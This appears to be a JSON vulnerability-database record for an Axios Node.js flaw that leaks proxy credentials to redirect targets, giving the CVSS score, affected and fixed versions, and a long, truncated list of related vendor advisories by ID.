{"id":"EUVD-2026-36263","revision":null,"records":[{"revision":"e8199438b79f43aa934eb34f75fa9526","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44486","aliases":[],"title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","state":0,"publishedAt":"2026-06-11T15:39:07.714+00:00","modifiedAt":"2026-09-11T12:09:11.032+00:00","affected":[{"ecosystem":"Vendor product","name":"axios","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axios\",\n                    \"product\": \"axios\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0, < 1.16.0\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \"< 0.32.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44486","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44486","identifiers":["CVE-2026-44486"]},"retained":false,"historicalAffected":[]},{"revision":"8477df4b007a43b5919bf61fd40b7faa","observedAt":"2026-11-15T13:13:18.011+00:00","statement":{"source":"euvd","id":"EUVD-2026-36263","aliases":["CVE-2026-44486","GHSA-j5f8-grm9-p9fc"],"title":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated …","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 0.32.0 and 1.16.0, Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target. This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected. This vulnerability is fixed in 0.32.0 and 1.16.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":null}],"references":["https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-36263","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 11, 2026, 3:39:07 PM","dateUpdated":"Sep 11, 2026, 12:09:11 PM"},"relatedAdvisories":[{"id":"RHSA-2026:42142","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.7 Container Release Update","vulnerabilityIds":["CVE-2026-6322","CVE-2026-12382","CVE-2026-12701","CVE-2026-27136","CVE-2026-27145","CVE-2026-39821","CVE-2026-42264","CVE-2026-42561","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48526","CVE-2026-48746","CVE-2026-54283"]},{"id":"RHSA-2026:27044","title":"Red Hat Security Advisory: OpenShift Container Platform 4.21.21 bug fix and security update","vulnerabilityIds":["CVE-2026-34986","CVE-2026-40895","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-46579"]},{"id":"RHSA-2026:73377","title":"Red Hat Security Advisory: OpenShift Virtualization v4.12 Images","vulnerabilityIds":["CVE-2026-44486","CVE-2026-44492"]},{"id":"RHSA-2026:33160","title":"Red Hat Security Advisory: Kiali 2.4.19 for Red Hat OpenShift Service Mesh 3.0","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"WID-SEC-W-2026-2460","title":"Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2016-10540","CVE-2020-28282","CVE-2020-7729","CVE-2021-22569","CVE-2021-23358","CVE-2022-1537","CVE-2022-3509","CVE-2022-3510","CVE-2022-37599","CVE-2022-37601","CVE-2022-37603","CVE-2024-7254","CVE-2025-11226","CVE-2025-14813","CVE-2025-62718","CVE-2025-69873","CVE-2026-12143","CVE-2026-21575","CVE-2026-21577","CVE-2026-21579","CVE-2026-22731","CVE-2026-2332","CVE-2026-27830","CVE-2026-29063","CVE-2026-29145","CVE-2026-29146","CVE-2026-31802","CVE-2026-33671","CVE-2026-33870","CVE-2026-33871","CVE-2026-34043","CVE-2026-35554","CVE-2026-40175","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42198","CVE-2026-42264","CVE-2026-42581","CVE-2026-42583","CVE-2026-42585","CVE-2026-42587","CVE-2026-42588","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44705","CVE-2026-45416","CVE-2026-45505","CVE-2026-45736","CVE-2026-46625","CVE-2026-47838","CVE-2026-4800","CVE-2026-48043","CVE-2026-48779","CVE-2026-50010","CVE-2026-5598","CVE-2026-6321","CVE-2026-6322"]},{"id":"RHSA-2026:28964","title":"Red Hat Security Advisory: OpenShift Container Platform 4.15.66 bug fix and security update","vulnerabilityIds":["CVE-2025-68121","CVE-2026-1784","CVE-2026-27143","CVE-2026-27144","CVE-2026-29063","CVE-2026-33186","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:50300","title":"Red Hat Security Advisory: Migration Toolkit for Applications","vulnerabilityIds":["CVE-2026-4926","CVE-2026-12143","CVE-2026-13149","CVE-2026-25681","CVE-2026-26996","CVE-2026-27136","CVE-2026-27904","CVE-2026-33811","CVE-2026-39820","CVE-2026-39821","CVE-2026-40895","CVE-2026-42039","CVE-2026-42041","CVE-2026-42044","CVE-2026-42264","CVE-2026-42342","CVE-2026-42499","CVE-2026-42504","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-55603"]},{"id":"RHSA-2026:47388","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.10.4 security update","vulnerabilityIds":["CVE-2025-58183","CVE-2026-16242","CVE-2026-17107","CVE-2026-33747","CVE-2026-33748","CVE-2026-33811","CVE-2026-34986","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39835","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44740","CVE-2026-44990","CVE-2026-59869"]},{"id":"RHSA-2026:34766","title":"Red Hat Security Advisory: OpenShift Container Platform 4.19.37 bug fix and security update","vulnerabilityIds":["CVE-2026-6322","CVE-2026-35469","CVE-2026-44486","CVE-2026-44492","CVE-2026-44496"]},{"id":"WID-SEC-W-2026-2923","title":"Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-13990","CVE-2021-44906","CVE-2022-1471","CVE-2022-23521","CVE-2022-3517","CVE-2022-41903","CVE-2023-22518","CVE-2023-22522","CVE-2023-22523","CVE-2023-22524","CVE-2023-22527","CVE-2023-45133","CVE-2023-46604","CVE-2025-14813","CVE-2026-0603","CVE-2026-10050","CVE-2026-12143","CVE-2026-12151","CVE-2026-12802","CVE-2026-12803","CVE-2026-12816","CVE-2026-13149","CVE-2026-13506","CVE-2026-13676","CVE-2026-14257","CVE-2026-14682","CVE-2026-16221","CVE-2026-18446","CVE-2026-21582","CVE-2026-2332","CVE-2026-24734","CVE-2026-25639","CVE-2026-27601","CVE-2026-27606","CVE-2026-29786","CVE-2026-3505","CVE-2026-40983","CVE-2026-40984","CVE-2026-41284","CVE-2026-41842","CVE-2026-41845","CVE-2026-41850","CVE-2026-41851","CVE-2026-41907","CVE-2026-42033","CVE-2026-42035","CVE-2026-42041","CVE-2026-42198","CVE-2026-42583","CVE-2026-42587","CVE-2026-43513","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44490","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45416","CVE-2026-45623","CVE-2026-46625","CVE-2026-47838","CVE-2026-4800","CVE-2026-48043","CVE-2026-48779","CVE-2026-48801","CVE-2026-50010","CVE-2026-53434","CVE-2026-54291","CVE-2026-54512","CVE-2026-54513","CVE-2026-55685","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56819","CVE-2026-58059","CVE-2026-58060","CVE-2026-59639","CVE-2026-59642","CVE-2026-59869","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59887","CVE-2026-59901","CVE-2026-6321","CVE-2026-6322","CVE-2026-67320","CVE-2026-69152","CVE-2026-69192"]},{"id":"RHSA-2026:66545","title":"Red Hat Security Advisory: Red Hat AMQ Broker 7.13.6 release and security update","vulnerabilityIds":["CVE-2026-9595","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40984","CVE-2026-42198","CVE-2026-42264","CVE-2026-42338","CVE-2026-42578","CVE-2026-42581","CVE-2026-42584","CVE-2026-42587","CVE-2026-42588","CVE-2026-44248","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45205","CVE-2026-45416","CVE-2026-45736","CVE-2026-48779","CVE-2026-49362","CVE-2026-49363","CVE-2026-49364","CVE-2026-49432","CVE-2026-49978","CVE-2026-50010","CVE-2026-50734","CVE-2026-53916","CVE-2026-54512","CVE-2026-54513","CVE-2026-55831","CVE-2026-55833","CVE-2026-56745","CVE-2026-56746","CVE-2026-57822","CVE-2026-57967","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59888","CVE-2026-59899","CVE-2026-62243","CVE-2026-66257","CVE-2026-66273","CVE-2026-66274","CVE-2026-67593","CVE-2026-68494"]},{"id":"RHSA-2026:36611","title":"Red Hat Security Advisory: OpenShift Container Platform 4.14.69 bug fix and security update","vulnerabilityIds":["CVE-2026-33186","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:36882","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.14.3 security update","vulnerabilityIds":["CVE-2025-13465","CVE-2025-47907","CVE-2025-48431","CVE-2025-61726","CVE-2025-61728","CVE-2025-61729","CVE-2025-62718","CVE-2026-22029","CVE-2026-22610","CVE-2026-25639","CVE-2026-25681","CVE-2026-29063","CVE-2026-32285","CVE-2026-33186","CVE-2026-33487","CVE-2026-40175","CVE-2026-40293","CVE-2026-40895","CVE-2026-41602","CVE-2026-41603","CVE-2026-41604","CVE-2026-41605","CVE-2026-41606","CVE-2026-41607","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-43869","CVE-2026-43870","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44990"]},{"id":"RHSA-2026:41928","title":"Red Hat Security Advisory: Red Hat Migration Toolkit for Containers","vulnerabilityIds":["CVE-2025-7783","CVE-2025-12816","CVE-2025-13465","CVE-2025-15284","CVE-2025-52881","CVE-2025-58183","CVE-2025-58754","CVE-2025-61726","CVE-2025-61729","CVE-2025-62718","CVE-2025-66031","CVE-2025-66418","CVE-2025-66471","CVE-2025-66506","CVE-2025-68121","CVE-2025-69223","CVE-2025-69227","CVE-2025-69228","CVE-2026-4800","CVE-2026-6322","CVE-2026-9277","CVE-2026-9595","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-21441","CVE-2026-22029","CVE-2026-23490","CVE-2026-23745","CVE-2026-25679","CVE-2026-25681","CVE-2026-27136","CVE-2026-27137","CVE-2026-29063","CVE-2026-30922","CVE-2026-32280","CVE-2026-32281","CVE-2026-32283","CVE-2026-33186","CVE-2026-33810","CVE-2026-33811","CVE-2026-34986","CVE-2026-39820","CVE-2026-39821","CVE-2026-40895","CVE-2026-42264","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45736","CVE-2026-45822","CVE-2026-48779"]},{"id":"RHSA-2026:42796","title":"Red Hat Security Advisory: Red Hat Quay 3.15.6","vulnerabilityIds":["CVE-2026-9277","CVE-2026-10143","CVE-2026-12143","CVE-2026-32591","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39832","CVE-2026-39835","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42508","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44990","CVE-2026-46595","CVE-2026-46597","CVE-2026-48526"]},{"id":"RHSA-2026:29082","title":"Red Hat Security Advisory: OpenShift Container Platform 4.16.65 bug fix and security update","vulnerabilityIds":["CVE-2026-33186","CVE-2026-34043","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:30650","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.8 security update","vulnerabilityIds":["CVE-2025-47914","CVE-2025-58183","CVE-2026-33747","CVE-2026-33748","CVE-2026-34986","CVE-2026-35206","CVE-2026-39821","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-46595"]},{"id":"WID-SEC-W-2026-3046","title":"IBM Concert: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-19921","CVE-2021-23337","CVE-2024-3651","CVE-2024-39338","CVE-2024-45590","CVE-2025-13465","CVE-2025-15284","CVE-2025-15599","CVE-2025-22874","CVE-2025-47273","CVE-2025-47907","CVE-2025-52881","CVE-2025-53643","CVE-2025-55184","CVE-2025-58056","CVE-2025-58188","CVE-2025-58189","CVE-2025-61723","CVE-2025-61730","CVE-2025-64649","CVE-2025-64756","CVE-2025-67221","CVE-2025-68121","CVE-2025-68146","CVE-2026-0540","CVE-2026-2327","CVE-2026-23490","CVE-2026-23897","CVE-2026-2391","CVE-2026-23949","CVE-2026-24486","CVE-2026-25528","CVE-2026-25547","CVE-2026-25639","CVE-2026-25990","CVE-2026-26007","CVE-2026-26019","CVE-2026-26996","CVE-2026-27142","CVE-2026-27212","CVE-2026-27699","CVE-2026-27903","CVE-2026-27904","CVE-2026-28684","CVE-2026-29063","CVE-2026-29181","CVE-2026-2950","CVE-2026-31808","CVE-2026-31900","CVE-2026-32274","CVE-2026-32288","CVE-2026-32597","CVE-2026-32630","CVE-2026-32887","CVE-2026-32952","CVE-2026-33186","CVE-2026-33532","CVE-2026-33750","CVE-2026-33814","CVE-2026-33816","CVE-2026-33916","CVE-2026-34043","CVE-2026-34073","CVE-2026-34077","CVE-2026-3520","CVE-2026-35469","CVE-2026-35515","CVE-2026-3627","CVE-2026-39823","CVE-2026-39825","CVE-2026-39826","CVE-2026-39892","CVE-2026-39984","CVE-2026-40175","CVE-2026-40179","CVE-2026-40181","CVE-2026-40190","CVE-2026-40347","CVE-2026-41066","CVE-2026-41182","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-41324","CVE-2026-41425","CVE-2026-41481","CVE-2026-41488","CVE-2026-41602","CVE-2026-41636","CVE-2026-42151","CVE-2026-42154","CVE-2026-42198","CVE-2026-42211","CVE-2026-42338","CVE-2026-42342","CVE-2026-42561","CVE-2026-42577","CVE-2026-43870","CVE-2026-44405","CVE-2026-44431","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44728","CVE-2026-4539","CVE-2026-45409","CVE-2026-45736","CVE-2026-46625","CVE-2026-4800","CVE-2026-4923","CVE-2026-4926","CVE-2026-7246","CVE-2026-8723"]},{"id":"RHSA-2026:66488","title":"Red Hat Security Advisory: Red Hat AMQ Broker 7.14.1 release and security update","vulnerabilityIds":["CVE-2025-14813","CVE-2026-0636","CVE-2026-5588","CVE-2026-9595","CVE-2026-10050","CVE-2026-10051","CVE-2026-12143","CVE-2026-12151","CVE-2026-13149","CVE-2026-13676","CVE-2026-34478","CVE-2026-34480","CVE-2026-34481","CVE-2026-40983","CVE-2026-40984","CVE-2026-42198","CVE-2026-42264","CVE-2026-42338","CVE-2026-42578","CVE-2026-42581","CVE-2026-42583","CVE-2026-42584","CVE-2026-42587","CVE-2026-42588","CVE-2026-44248","CVE-2026-44249","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44893","CVE-2026-45205","CVE-2026-45416","CVE-2026-45736","CVE-2026-48043","CVE-2026-48059","CVE-2026-48779","CVE-2026-49362","CVE-2026-49363","CVE-2026-49364","CVE-2026-49432","CVE-2026-49978","CVE-2026-50010","CVE-2026-50734","CVE-2026-53916","CVE-2026-54512","CVE-2026-54513","CVE-2026-55831","CVE-2026-55833","CVE-2026-55851","CVE-2026-56745","CVE-2026-56746","CVE-2026-56819","CVE-2026-57822","CVE-2026-57967","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59899","CVE-2026-62243","CVE-2026-66257","CVE-2026-66273","CVE-2026-66274","CVE-2026-67593","CVE-2026-68494"]},{"id":"RHSA-2026:33183","title":"Red Hat Security Advisory: Kiali 2.22.6 for Red Hat OpenShift Service Mesh 3.3","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-46625","CVE-2026-48779"]},{"id":"RHSA-2026:50681","title":"Red Hat Security Advisory: OpenShift Container Platform 4.14.71 bug fix and security update","vulnerabilityIds":["CVE-2026-44486","CVE-2026-49332"]},{"id":"RHSA-2026:46903","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.15.4 security update","vulnerabilityIds":["CVE-2025-61726","CVE-2026-25681","CVE-2026-27136","CVE-2026-39828","CVE-2026-39829","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44740","CVE-2026-44990","CVE-2026-53488","CVE-2026-59869"]},{"id":"RHSA-2026:36883","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.9.5 security update","vulnerabilityIds":["CVE-2026-39821","CVE-2026-39829","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44990"]},{"id":"RHSA-2026:29197","title":"Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage","vulnerabilityIds":["CVE-2024-12086","CVE-2025-14087","CVE-2025-14512","CVE-2026-3832","CVE-2026-3833","CVE-2026-4046","CVE-2026-4437","CVE-2026-4438","CVE-2026-4878","CVE-2026-5260","CVE-2026-5419","CVE-2026-6322","CVE-2026-7383","CVE-2026-9076","CVE-2026-9277","CVE-2026-28390","CVE-2026-29518","CVE-2026-33845","CVE-2026-33846","CVE-2026-34180","CVE-2026-34181","CVE-2026-34182","CVE-2026-34183","CVE-2026-40355","CVE-2026-40356","CVE-2026-41035","CVE-2026-42009","CVE-2026-42010","CVE-2026-42011","CVE-2026-42012","CVE-2026-42013","CVE-2026-42014","CVE-2026-42015","CVE-2026-42764","CVE-2026-42766","CVE-2026-42767","CVE-2026-42768","CVE-2026-42769","CVE-2026-42770","CVE-2026-43618","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45186","CVE-2026-45445","CVE-2026-45446","CVE-2026-45447","CVE-2026-45736","CVE-2026-48779"]},{"id":"RHSA-2026:46885","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.10.4 security update","vulnerabilityIds":["CVE-2025-58183","CVE-2026-16242","CVE-2026-17107","CVE-2026-33747","CVE-2026-33748","CVE-2026-33811","CVE-2026-34986","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39835","CVE-2026-42508","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44740","CVE-2026-44990","CVE-2026-59869"]},{"id":"RHSA-2026:27063","title":"Red Hat Security Advisory: OpenShift Container Platform 4.20.26 bug fix and security update","vulnerabilityIds":["CVE-2026-29063","CVE-2026-33186","CVE-2026-34986","CVE-2026-35469","CVE-2026-40895","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44495","CVE-2026-44496","CVE-2026-46579"]},{"id":"RHSA-2026:33163","title":"Red Hat Security Advisory: Kiali 2.11.13 for Red Hat OpenShift Service Mesh 3.1","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"RHSA-2026:36754","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.2 release.","vulnerabilityIds":["CVE-2026-6322","CVE-2026-6734","CVE-2026-9277","CVE-2026-9673","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-24781","CVE-2026-27136","CVE-2026-39820","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45736","CVE-2026-47131","CVE-2026-47135","CVE-2026-47137","CVE-2026-47139","CVE-2026-47140","CVE-2026-47141","CVE-2026-47208","CVE-2026-47210","CVE-2026-48779"]},{"id":"RHSA-2026:57191","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.16.3 security update","vulnerabilityIds":["CVE-2026-13676","CVE-2026-14362","CVE-2026-25681","CVE-2026-27136","CVE-2026-33377","CVE-2026-33811","CVE-2026-33814","CVE-2026-39828","CVE-2026-39829","CVE-2026-42151","CVE-2026-42502","CVE-2026-42504","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44740","CVE-2026-44990","CVE-2026-45623","CVE-2026-46384","CVE-2026-46385","CVE-2026-53488","CVE-2026-59869","CVE-2026-66799","CVE-2026-66804","CVE-2026-69153","CVE-2026-73086"]},{"id":"RHSA-2026:33173","title":"Red Hat Security Advisory: Kiali 2.17.10 for Red Hat OpenShift Service Mesh 3.2","vulnerabilityIds":["CVE-2026-12143","CVE-2026-39821","CVE-2026-42264","CVE-2026-42338","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-48779"]},{"id":"RHSA-2026:20889","title":"Red Hat Security Advisory: RHACS 4.10.3 security and bug fix update","vulnerabilityIds":["CVE-2025-62718","CVE-2026-25679","CVE-2026-32280","CVE-2026-32281","CVE-2026-40895","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42264","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:54188","title":"Red Hat Security Advisory: OpenShift Container Platform 4.13.70 bug fix and security update","vulnerabilityIds":["CVE-2026-4800","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-49332","CVE-2026-50237"]},{"id":"RHSA-2026:20938","title":"Red Hat Security Advisory: RHACS 4.9.7 security and bug fix update","vulnerabilityIds":["CVE-2025-62718","CVE-2026-32281","CVE-2026-40175","CVE-2026-40895","CVE-2026-42033","CVE-2026-42035","CVE-2026-42039","CVE-2026-42041","CVE-2026-42043","CVE-2026-42044","CVE-2026-42264","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496"]},{"id":"RHSA-2026:60520","title":"Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-66471","CVE-2025-66626","CVE-2025-71329","CVE-2025-71330","CVE-2026-0545","CVE-2026-2614","CVE-2026-5241","CVE-2026-5422","CVE-2026-6322","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-12143","CVE-2026-12151","CVE-2026-12243","CVE-2026-12481","CVE-2026-13149","CVE-2026-13311","CVE-2026-13676","CVE-2026-13717","CVE-2026-14450","CVE-2026-15154","CVE-2026-15218","CVE-2026-15378","CVE-2026-15467","CVE-2026-15581","CVE-2026-16745","CVE-2026-18608","CVE-2026-18611","CVE-2026-18617","CVE-2026-18620","CVE-2026-18621","CVE-2026-18948","CVE-2026-18951","CVE-2026-18982","CVE-2026-25681","CVE-2026-27136","CVE-2026-32280","CVE-2026-32283","CVE-2026-33079","CVE-2026-33245","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-35397","CVE-2026-39820","CVE-2026-39821","CVE-2026-39828","CVE-2026-39829","CVE-2026-39830","CVE-2026-39831","CVE-2026-39835","CVE-2026-40171","CVE-2026-41672","CVE-2026-41673","CVE-2026-41675","CVE-2026-42211","CVE-2026-42215","CVE-2026-42264","CVE-2026-42266","CVE-2026-42284","CVE-2026-42305","CVE-2026-42311","CVE-2026-42338","CVE-2026-42342","CVE-2026-42499","CVE-2026-42502","CVE-2026-42508","CVE-2026-42557","CVE-2026-44017","CVE-2026-44018","CVE-2026-44020","CVE-2026-44240","CVE-2026-44244","CVE-2026-44289","CVE-2026-44290","CVE-2026-44291","CVE-2026-44292","CVE-2026-44293","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-44513","CVE-2026-44660","CVE-2026-44705","CVE-2026-44724","CVE-2026-44727","CVE-2026-44827","CVE-2026-44843","CVE-2026-45292","CVE-2026-45623","CVE-2026-45736","CVE-2026-45740","CVE-2026-45804","CVE-2026-46595","CVE-2026-46597","CVE-2026-46625","CVE-2026-47214","CVE-2026-48526","CVE-2026-48710","CVE-2026-48712","CVE-2026-48779","CVE-2026-48801","CVE-2026-49476","CVE-2026-49477","CVE-2026-49851","CVE-2026-49978","CVE-2026-50193","CVE-2026-53550","CVE-2026-54058","CVE-2026-54060","CVE-2026-54283","CVE-2026-54293","CVE-2026-55379","CVE-2026-55380","CVE-2026-55685","CVE-2026-56121","CVE-2026-56208","CVE-2026-56209","CVE-2026-56210","CVE-2026-56211","CVE-2026-58049","CVE-2026-59197","CVE-2026-59199","CVE-2026-59200","CVE-2026-59204","CVE-2026-59205","CVE-2026-59869","CVE-2026-59873","CVE-2026-59874","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-64835","CVE-2026-64849","CVE-2026-69152","CVE-2026-69192","CVE-2026-69243","CVE-2026-69244"]},{"id":"RHSA-2026:33574","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.6 